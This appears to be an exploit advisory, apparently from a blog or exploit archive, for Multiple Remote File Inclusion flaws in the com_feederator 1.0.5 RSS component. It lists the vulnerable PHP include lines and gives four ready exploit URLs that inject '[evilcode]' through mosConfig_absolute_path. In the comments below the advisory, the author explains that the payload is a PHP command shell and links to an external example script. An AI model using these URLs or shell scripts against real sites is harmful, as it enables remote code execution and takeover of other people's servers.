Feederator [RSS manager] 1.0.5 - Multiple RFI


[o] Feederator - RSS manager Component 1.0.5 Multiple Remote File Inclusion Vulnerabilities
Software : com_feederator version 1.0.5
Vendor : http://www.recly.com
Download : http://www.recly.com/index.php?option=com_recly&task=product_page&id=2
Author : NoGe


[o] Vulnerable file
administrator/components/com_feederator/includes/tmsp/add_tmsp.php
require_once( $mosConfig_absolute_path . '/components/Recly/Recly_TMSP/Recly_TMSP.class.php' );
administrator/components/com_feederator/includes/tmsp/edit_tmsp.php
require_once( $mosConfig_absolute_path . '/components/Recly/Recly_TMSP/Recly_TMSP.class.php' );
administrator/components/com_feederator/includes/tmsp/subscription.php
require_once($GLOBALS['mosConfig_absolute_path'] . '/components/Recly/common/GlobalVariables.class.php');
administrator/components/com_feederator/includes/tmsp/tmsp.php
require_once( $mosConfig_absolute_path . '/components/Recly/Recly_HTML/Recly_Paginator.class.php' );


[o] Exploit
http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=[evilcode]
http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=[evilcode]
http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=[evilcode]


6 Responses so far.

  1. Rombl4 says:

    would you show me an exapmle of [evilcode], pls :) Dnt know how to use this vulnerability.

  2. NoGe says:

    [evilcode] is your cmd script, basicly writen in php.
    the script that attacker use to execute command on vulnerable site.
    u can see the example of [evilcode] in here bro
    http://www.geocities.com/j4ck_bug5/example.txt
    that script is simple cmd script writen in php.

  3. NoGe says:

    ur welcome brotha.. :)

  4. patchme says:

    wah wa musti kemari juga tuk evilc0de nya lol

  5. wah wa musti kemari juga tuk evilc0de nya lol.